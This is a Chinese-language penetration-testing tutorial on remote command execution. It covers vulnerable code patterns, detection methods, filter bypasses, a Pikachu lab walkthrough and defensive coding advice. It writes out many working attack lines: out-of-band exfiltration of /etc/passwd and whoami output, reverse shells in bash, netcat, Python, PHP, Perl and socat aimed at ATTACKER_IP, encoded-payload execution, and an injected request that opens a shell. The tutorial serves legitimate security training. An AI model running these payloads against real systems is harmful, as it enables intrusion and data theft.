1. 项目概述:从“黑盒”到“白盒”的RCE实战认知
刚入行那会儿,听到“远程命令执行”(RCE)这个词,总觉得它带着一种神秘又危险的光环,仿佛黑客电影里敲几下键盘就能掌控一切的魔法。后来自己上手做渗透测试,挖过、也复现过不少RCE漏洞,才明白它本质上就是一个“输入验证与信任边界”的问题。简单来说,就是一个本该只处理数据的应用程序,错误地信任了用户输入,并把它当成系统命令的一部分去执行了。这个过程,就是从“数据”到“代码”的惊险一跃。
这个项目,我们就来彻底拆解RCE。它绝不仅仅是知道一个
exec()
或
system()
函数那么简单。我们要从零开始,搞清楚一个远程命令执行漏洞是怎么被发现的,它的代码根源在哪里,更重要的是,拿到这个漏洞后,我们如何一步步构造出稳定、可靠的Shell连接,把漏洞的“可能性”转化为可控的“访问权限”。无论是Web应用、桌面软件还是网络服务,RCE的原理内核是相通的。我会结合常见的漏洞场景,比如你提到的Pikachu靶场里的
exec("ping " . $ip)
,或者各种因参数拼接、反序列化、模板注入导致的命令执行,带你走完从漏洞识别、到利用构造、再到权限维持的完整链条。最终目标不是让你成为“脚本小子”,而是建立一套面对未知系统时,如何系统性思考、测试并验证RCE漏洞的思维模型。
2. 远程命令执行漏洞的核心原理与常见触发点
要利用一个漏洞,首先得知道它从哪来。RCE漏洞的根源,在于程序将不可信的用户输入,未经充分净化或验证,就直接传递给了能够执行系统命令的函数接口。
2.1 命令执行函数的“危险家族”
几乎所有能导致RCE的代码,都绕不开几个核心的函数或机制。在不同的编程语言和环境中,它们有不同的名字,但危险性是共通的。
1. 系统命令调用函数
这是最直接的一类。在PHP里,你可能遇到
system()
、
exec()
、
shell_exec()
、
passthru()
,还有反引号操作符。在Python里,是
os.system()
、
os.popen()
、
subprocess.call()
以及更强大的
subprocess.Popen()
。Java里则有
Runtime.getRuntime().exec()
。这些函数的共同点是,它们都建立了一条从应用程序内部通向操作系统Shell的通道。
一个典型的危险代码片段是这样的(以PHP为例):
$user_input = $_GET['cmd']; // 直接获取用户输入
system("ping -c 4 " . $user_input); // 拼接后直接执行
这里,开发者本意是让用户输入一个IP地址进行ping测试。但如果用户输入的是
127.0.0.1; whoami
,那么实际执行的命令就变成了
ping -c 4 127.0.0.1; whoami
。分号
;
在Linux/Unix的Shell中意味着命令分隔,于是
whoami
这个命令也被执行了。
2. 模板注入与表达式语言 在现代Web框架中,RCE有了更“优雅”的形式。比如在Java的Spring框架中,如果用户输入被直接用于SpEL(Spring Expression Language)表达式解析,就可能造成RCE。类似的情况也发生在Python的Jinja2、PHP的Twig等模板引擎中,如果允许用户控制模板内容,就可能注入恶意表达式。这种漏洞往往更隐蔽,因为攻击载荷看起来不像传统的系统命令,而是一段符合语法的表达式。
3. 反序列化漏洞
这是RCE的“重型武器”。当应用程序接受序列化的对象数据并将其反序列化时,如果反序列化过程允许执行特定类的构造函数、
__wakeup()
、
__destruct()
(PHP)或
readObject()
(Java)等方法,攻击者就可以精心构造一个序列化字符串,在反序列化时触发恶意代码执行。Apache Commons Collections、Fastjson等库的历史漏洞都是经典案例。
4. 第三方组件与库函数 很多RCE并非发生在主业务代码中,而是由引用的第三方库引入。例如,图像处理库(如ImageMagick)解析恶意文件时,文件名参数可能被注入命令;文档解析库(如Apache POI)处理特定格式文件时可能触发逻辑漏洞;甚至一些日志组件、XML解析器都可能成为入口。这种漏洞的挖掘需要对依赖链有清晰的了解。
注意: 不要一看到这些函数就认为一定有漏洞。关键要看 用户输入到达这个函数的路径 ,以及沿途是否有有效的过滤和净化。很多安全的代码也会使用这些函数,但它们的参数是硬编码或经过严格白名单校验的。
2.2 漏洞触发场景与输入向量
知道了危险函数,我们还要知道攻击者从哪里把恶意输入“送”进去。常见的输入向量有:
-
GET/POST参数:
最普遍的场景,就像上面的
?cmd=例子。 -
HTTP请求头:
User-Agent、X-Forwarded-For、Cookie等头部字段如果被后端用于拼接命令(例如构造日志分析命令),就可能被利用。 -
文件上传:
上传的文件名、文件内容(如图片EXIF信息)被用于命令拼接。更危险的是上传了可执行脚本(如
.php,.jsp)并诱使服务器解析。 - 数据库字段: 从数据库读取的数据,如果其源头是用户可控的(如评论、用户名),并且被用于命令执行,也可能形成“二次注入”式的RCE。
- 网络协议参数: 在非HTTP服务中,如FTP、SMTP、LDAP、数据库连接字符串等协议中的参数,如果服务端处理不当,也可能导致命令执行。
理解这些原理后,我们在做代码审计或黑盒测试时,就有了明确的“攻击面”地图。你会开始习惯性地问:这个功能点,有没有把用户可控的数据,送给那些“危险家族”的函数?传递的路上,有没有可靠的“安检”?
3. 从漏洞发现到利用:手工探测与Fuzz技巧
在实战中,我们往往面对的是一个黑盒或灰盒系统。如何系统性地探测是否存在RCE漏洞呢?这需要一套组合拳。
3.1 手工探测的基本姿势
手工探测的核心是 观察差异 。你输入一个正常值,系统产生一个结果;你输入一个可能触发命令执行的payload,观察结果是否不同。
1. 时间延迟探测(盲注) 这是判断盲RCE(无回显)最有效的方法之一。原理是注入能导致系统等待的命令,通过响应时间来判断是否执行成功。
-
Linux/Unix:
sleep 5(等待5秒)、ping -c 10 127.0.0.1 -
Windows:
timeout /t 5 /nobreak、ping -n 10 127.0.0.1 > nul
例如,你测试一个IP参数,正常ping一个地址响应很快。你尝试输入
127.0.0.1 && sleep 5
,如果页面响应明显延迟了5秒以上,那么
sleep 5
这个命令很可能被执行了,这里就存在RCE。
2. 外带数据探测(DNS/HTTP) 当时间延迟不明显或不可靠时,可以尝试让目标服务器主动向外发起连接,将命令执行的结果带出来。
-
DNS外带:
注入如
nslookup $(whoami).your-domain.com的命令。如果whoami的结果是root,目标服务器会尝试解析root.your-domain.com这个域名,你在自己的DNS服务器日志上就能看到这个查询记录,从而证明命令执行并获取输出片段。 -
HTTP外带:
注入如
curl http://your-server.com/$(whoami)或wget http://your-server.com/$(cat /etc/passwd|base64)。你在自己的Web服务器访问日志里就能看到携带了命令结果的请求。
3. 回显型探测
如果目标直接将命令输出返回到了页面(例如
ping
命令的结果),那就简单多了。你可以尝试注入一些无害的命令来测试边界。
-
测试命令分隔符:
依次尝试
;、&、&&、|、||、\n(换行符)、\r(回车符)。例如:127.0.0.1;id。 -
测试子Shell:
$(id)或`id`。例如:127.0.0.1$(id)。 -
测试变量拼接:
在某些复杂拼接中,可能需要闭合前面的变量或引号。例如,原命令是
ping -c 4 '$input',你需要先闭合单引号:' && id #,最终变成ping -c 4 '' && id #',#后面的内容被注释掉。
3.2 使用工具进行模糊测试
手工探测效率低,覆盖不全。这时就需要Fuzz(模糊测试)。Fuzz的核心是自动化地向目标参数注入大量、变异过的payload,观察异常响应。
1. Payload集合 你可以自己收集,也可以使用成熟的工具集。一个基本的RCE Fuzz字典应该包含:
- 各种命令分隔符和组合。
-
常见的命令执行函数绕过技巧(如空格绕过
${IFS}、<、{cmd,args},黑名单关键字拆分a=w;b=ho;c=am;$a$b$c)。 - 针对Windows和Linux的不同命令。
- 编码后的payload(如Base64、Hex、URL编码)。
2. 工具推荐与使用思路
- Burp Suite Intruder/Repeater: 这是Web渗透的瑞士军刀。在Repeater中手动构造请求,在Intruder中加载payload字典进行批量测试。重点是观察 响应长度、响应时间、状态码和内容 的差异。一个突然变长或变慢的响应,可能就是突破口。
- ffuf/wfuzz: 命令行下的快速Fuzz工具,速度极快,适合批量测试参数和目录。可以配合自定义的RCE payload字典使用。
- 自定义脚本: 对于特定场景,用Python写个简单的Fuzz脚本往往最灵活。你可以精确控制payload的格式、编码和发送逻辑。
Fuzz实战心得: 不要盲目乱打。先用手工摸清参数的大致处理逻辑(是直接拼接?还是放在引号里?有没有过滤空格或分号?),再根据这些信息去裁剪和定制你的Fuzz字典,这样才能提高命中率。同时,一定要在授权和隔离的环境中进行,Fuzz可能造成服务崩溃。
4. 漏洞利用的艺术:编写与获取交互式Shell
探测到漏洞只是第一步,证明危害性并获取一个稳定的控制通道,才是渗透测试的关键。一个简单的
id
或
whoami
命令回显,远不如一个交互式的Shell来得有用。
4.1 反向Shell的原理与构造
为什么需要“反向”Shell?因为在很多网络环境下,目标服务器出站连接的限制(防火墙规则)往往比入站连接要宽松。我们让目标服务器主动连接我们监听的控制端,更容易成功。
反向Shell的本质 ,就是在目标机器上执行一条命令,这条命令会创建一个进程,并将其标准输入、输出、错误流重定向到一个网络套接字,这个套接字连接着攻击者的机器。
1. 经典Bash反向Shell 这是Linux下最常用的方法之一。
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
-
bash -i: 启动一个交互式的bash。 -
>& /dev/tcp/...: 将标准输出和标准错误都重定向到指定的TCP连接。/dev/tcp/是Bash的一个特性,可以用于网络通信。 -
0>&1: 将标准输入重定向到标准输出,从而形成一个闭环。
在攻击机上,你需要先用Netcat监听端口:
nc -lvnp ATTACKER_PORT
2. 使用Netcat(nc)
如果目标系统安装了netcat(尤其是带有
-e
参数的版本),命令更简单:
nc ATTACKER_IP ATTACKER_PORT -e /bin/bash
或者用更传统的管道方式,兼容性更好:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f
3. Python反向Shell Python几乎成了Linux系统的标配,利用它写反向Shell非常稳定。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这条命令导入必要的模块,创建socket连接到攻击机,然后将进程的标准输入、输出、错误流全部重定向到这个socket,最后启动一个shell。
4. 其他语言(PHP、Perl、Ruby等) 原则类似,都是建立socket连接并重定向进程流。准备好各种语言的payload在笔记里,应对不同环境。
-
PHP:
php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");' -
Perl:
perl -e 'use Socket;$i="ATTACKER_IP";$p=ATTACKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4.2 编码与绕过技巧
实战中,直接粘贴上面的命令很可能失败,因为特殊字符(如空格、引号、重定向符号
>&
)会被Web应用过滤或转义。
1. Base64编码 这是最常用的绕过方式。以Python反向Shell为例:
- 先写好标准的Python命令。
- 将其进行Base64编码(注意去掉命令中的换行符)。
-
在目标端执行
echo -n '编码后的字符串' | base64 -d | python。
例如,在攻击机上生成payload:
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" | base64
然后将输出的一长串Base64,通过漏洞点注入执行:
echo <base64_string> | base64 -d | python
2. 十六进制编码
原理类似,将命令转换成十六进制字符串,然后用
xxd
或
printf
还原执行。
echo 706974686f6e202d632027...(十六进制)...27 | xxd -r -p | python
3. 命令分隔符与空格绕过
-
空格绕过:
用
${IFS}、%09(Tab的URL编码)、<、<>代替空格。例如cat${IFS}/etc/passwd。 -
命令分隔符:
除了
;、&、|,还可以尝试%0a(换行)、%0d(回车)。 -
关键字绕过:
如果
bash、python被过滤,可以尝试绝对路径/bin/bash、/usr/bin/python3。或者使用变量拼接:a=p;b=y;c=thon;$a$b$c。
4. 引号与转义
如果原命令使用了引号,你的payload需要小心处理引号的闭合。有时可以利用反斜杠
\
进行转义,或者直接不用引号,用
$()
代替。
重要提示: 这些绕过技巧需要根据目标的过滤逻辑灵活组合。最好的方法是先通过简单的
echo test或sleep命令测试出哪些字符被过滤,然后再设计payload。
4.3 升级为全功能TTY Shell
通过反向Shell拿到的初始Shell往往是“非交互式”的,功能受限(无法使用
su
、
sudo
、
vi
,无法使用Tab补全,按下Ctrl+C会中断整个连接等)。我们需要将其升级为全功能的TTY。
1. 使用Python PTY 这是最推荐的方法,前提是目标有Python。
python -c 'import pty; pty.spawn("/bin/bash")'
或者更稳定的一行命令:
python -c 'import pty; pty.spawn("/bin/bash")'; export TERM=xterm-256color; stty rows 38 columns 116
执行后,再按
Ctrl+Z
挂起当前连接,回到攻击机的本地终端,输入:
stty raw -echo; fg
然后按回车。这样就能得到一个支持行编辑、历史记录、信号处理的完整TTY。
2. 使用script命令 如果目标没有Python,可以尝试:
script -qc /bin/bash /dev/null
3. 使用Socat 这是最稳定、最强大的方法,但需要目标系统安装有socat。在攻击机上传socat静态编译版本,然后在目标机执行:
./socat TCP:ATTACKER_IP:ATTACKER_PORT EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
同时在攻击机用
socat file:
tty
,raw,echo=0 TCP-LISTEN:PORT
监听。这样获得的Shell质量极高。
拿到一个稳定的、全功能的Shell后,你才算真正在目标系统上“站住了脚”,后续的信息收集、权限提升、横向移动才有了可靠的基地。
5. 实战案例深度剖析:Pikachu靶场RCE关卡
理论说再多,不如动手练一遍。我们以Pikachu靶场的“RCE exec”关卡为例,进行一次完整的、手把手的漏洞复现与利用分析。这个关卡非常经典,它模拟了一个常见的开发者错误:将用户输入直接拼接进系统命令。
5.1 环境搭建与漏洞点定位
首先,你需要一个已搭建好的Pikachu靶场环境(例如使用Docker或直接部署在虚拟机里)。访问对应的RCE板块,你会看到一个简单的ping功能界面,提示你输入一个IP地址。
查看前端HTML代码,通常是一个表单,action指向某个PHP页面,有一个名为
ip
的输入框。提交后,URL可能变为
http://target/vul/rce/exec.php?ip=127.0.0.1&submit=ping
。
作为攻击者,我们的第一反应是:这个
ip
参数被后端怎么处理了?最直接的猜想是,后端代码可能类似于:
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
或者
$ip = $_GET['ip'];
echo shell_exec("ping -n 4 " . $ip); // Windows环境
5.2 手工探测与命令注入验证
-
基础测试:
输入
127.0.0.1,页面正常返回ping的结果。这说明功能正常。 -
分隔符测试:
输入
127.0.0.1; whoami。观察页面,如果除了ping的结果,还多出了一行显示当前Web服务运行用户(如www-data或apache),那么恭喜,命令注入成功了。分号;成功将两条命令分隔开。 -
空格绕过测试(如果需要):
如果输入
127.0.0.1;whoami(去掉空格)也成功,说明过滤不严。如果失败,可以尝试127.0.0.1;whoami%09(Tab)或127.0.0.1;whoami${IFS}。 -
盲注测试:
如果页面没有回显
whoami的结果,尝试时间延迟。输入127.0.0.1 && sleep 5。如果页面响应明显延迟了5秒以上,说明sleep命令被执行,存在盲注。
5.3 构造反向Shell获取访问权限
假设我们通过
127.0.0.1; whoami
确认了漏洞存在,并且当前用户是
www-data
。下一步就是获取一个反向Shell。
步骤一:攻击机准备监听 在攻击机(你的Kali Linux或虚拟机)上,打开一个终端,用Netcat监听一个端口,比如4444。
nc -lvnp 4444
-l
监听,
-v
详细输出,
-n
不解析域名,
-p
指定端口。
步骤二:构造并注入反向Shell命令
现在我们需要通过
ip
参数,让目标服务器执行反向Shell命令。我们选择兼容性较好的Bash反向Shell,但需要对其进行URL编码,因为
&
、
>
、
<
等字符在URL中有特殊含义。
原始命令:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
将其进行URL编码。你可以使用Burp Suite的Decoder模块,或者在线工具。编码后大致如下(以攻击机IP为10.0.0.1为例):
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261
但是,注意我们原来的注入点是
?ip=PAYLOAD
。如果我们直接提交
?ip=127.0.0.1; bash%20-i...
,分号
;
也需要编码吗?通常不需要,因为
;
在URL的查询字符串中不是保留字。但为了保险,我们可以将整个payload放在一起。
更稳妥的注入方式是,在浏览器地址栏或Burp Repeater中构造如下请求:
GET /vul/rce/exec.php?ip=127.0.0.1;+bash+-c+'bash+-i+>%26+/dev/tcp/10.0.0.1/4444+0>%261'&submit=ping HTTP/1.1
这里用了
bash -c
来执行一段用单引号包裹的字符串命令,并对字符串内的特殊字符进行了编码。
步骤三:观察连接并升级Shell
发送上述请求后,如果成功,你的Netcat监听窗口会立即接收到一个连接,并出现一个bash提示符(可能是
$
或
#
)。
但此时这个Shell是“哑巴”的。按照前面讲到的方法,使用Python升级TTY:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 38 columns 116
然后按
Ctrl+Z
,在攻击机本地终端输入
stty raw -echo; fg
,回车。现在你就获得了一个功能完整的交互式Shell,可以开始进行后续的渗透步骤,如查看当前目录
pwd
,列举文件
ls -la
,尝试提权等。
5.4 案例总结与思维延伸
通过这个案例,我们走完了从漏洞发现、验证到武器化利用的全过程。关键点在于:
-
理解上下文:
知道后端可能用
system("ping " . $ip),所以我们的payload要能无缝拼接进去。 - 测试边界: 从简单的分隔符开始,确认注入点。
- 稳定利用: 选择合适、兼容的反向Shell payload,并处理好特殊字符编码。
- 改善体验: 拿到初始Shell后,第一时间升级为全功能TTY。
这个案例是“回显型”的。如果是“盲注型”,你则需要更多依赖时间延迟、DNS外带或HTTP外带技术来验证和获取数据。但核心思维模式是一样的: 控制输入,影响输出,建立通道。
6. 防御视角:如何避免与发现自身的RCE漏洞
作为一名渗透测试人员,不仅要会攻,更要懂防。了解如何防御,能让你在攻击时更清楚哪里可能是薄弱点。
6.1 安全开发规范(给开发者的建议)
-
原则:永不信任用户输入 这是安全的第一条铁律。所有来自外部的数据(HTTP参数、头、Cookie、文件内容、数据库字段、第三方API响应)都必须视为不可信的。
-
首选:避免使用命令执行函数 如果业务逻辑可以通过内置的、功能更专一的语言函数或库来实现,就绝对不要调用系统命令。例如,用PHP的
file()函数读取文件,而不是cat命令;用scandir()列举目录,而不是ls。 -
必须使用时的安全措施 如果确实无法避免(如需要调用特定系统工具):
-
白名单校验:
对用户输入进行严格的白名单过滤。例如,如果参数只能是IP地址,就用正则表达式严格匹配IP格式(
/^(\d{1,3}\.){3}\d{1,3}$/),并校验每个数字段的范围。白名单比黑名单可靠得多。 -
参数化调用(非拼接):
不要用字符串拼接命令。使用能够将命令和参数分离的API。例如在Python中:
在PHP中,可以使用# 危险! os.system("ls " + user_input) # 安全! subprocess.run(["ls", user_input]) # 即使这样,user_input也应是白名单值 # 更安全:使用列表传递参数,且参数来自可信源 subprocess.run(["ls", "/home/safe_dir"])escapeshellarg()函数为参数加上引号并转义。$safe_ip = escapeshellarg($_GET['ip']); system("ping -c 4 " . $safe_ip); // 此时用户输入`127.0.0.1; id`会被当成一个整体参数,不会执行`id` - 最小权限原则: 运行Web服务的进程(如www-data, apache)应该使用最低必要的系统权限。避免以root身份运行应用。这样即使被RCE,攻击者获得的权限也有限。
-
禁用危险函数:
在PHP的
php.ini中,可以通过disable_functions配置项禁用system、exec、shell_exec、passthru等函数。但这只是纵深防御的一环,不能完全依赖。
-
白名单校验:
对用户输入进行严格的白名单过滤。例如,如果参数只能是IP地址,就用正则表达式严格匹配IP格式(
6.2 渗透测试中的漏洞挖掘思路
当你站在防御者或审计者的角度,如何去发现潜在的RCE漏洞?
-
代码审计(白盒):
-
全局搜索危险函数:
使用IDE或
grep工具,在代码库中搜索exec、system、shell_exec、popen、Runtime.getRuntime().exec、Process.Start、eval()等关键词。 -
跟踪数据流:
找到这些函数后,向上回溯,看传入的参数是否来自用户可控的输入源(
$_GET、$_POST、$_REQUEST、$_COOKIE、文件读取、数据库查询结果等)。 -
检查过滤逻辑:
数据在到达危险函数前,是否经过了可靠的白名单过滤或转义?常用的黑名单替换(如把
;替换成空)往往很容易被绕过。 -
关注反序列化:
搜索
unserialize()、ObjectInputStream.readObject()等函数,检查反序列化的数据源是否可控。
-
全局搜索危险函数:
使用IDE或
-
黑盒/灰盒测试:
- 功能点分析: 重点关注那些明显会与系统交互的功能,如:站点ping测试、文件上传(尤其是上传后的处理)、文件管理、数据导入导出、系统设置(如修改hosts、重启服务)、日志查看(如果支持执行tail/grep命令)。
- 参数Fuzz: 对每个可能传递到后端的参数进行命令注入Fuzz,不仅包括GET/POST,还包括Headers、Cookies。
- 错误信息利用: 故意输入异常数据,观察是否返回详细的系统错误信息(如路径信息、数据库错误),这些信息可能帮助你构造更精确的payload。
- 中间件与框架识别: 识别目标使用的Web框架、中间件版本、第三方库。搜索这些组件已知的公开RCE漏洞(如ThinkPHP RCE, Log4j2 RCE等),进行针对性测试。
6.3 漏洞修复后的验证
修复漏洞后,如何进行有效性验证?仅仅把
system($_GET['cmd'])
改成
system(escapeshellarg($_GET['cmd']))
就够了吗?你需要测试:
- 输入正常的业务数据(如IP地址),功能是否正常?
-
输入经典的测试payload(如
;id、|ls、$(whoami)),是否被正确拦截或转义?是返回了错误页面,还是将payload当成了普通字符串处理? - 尝试各种编码和绕过技巧,修复方案是否仍然有效?
- 是否引入了新的安全问题?例如,如果改用黑名单过滤,是否可能存在绕过?
真正的安全是一个持续的过程,而非一劳永逸的修补。作为渗透测试者,你的价值就在于用攻击者的思维,帮助开发者提前发现并堵上这些漏洞。每一次成功的漏洞利用,都应该让你对“如何写出更安全的代码”有更深的理解。
1772

被折叠的 条评论
为什么被折叠?



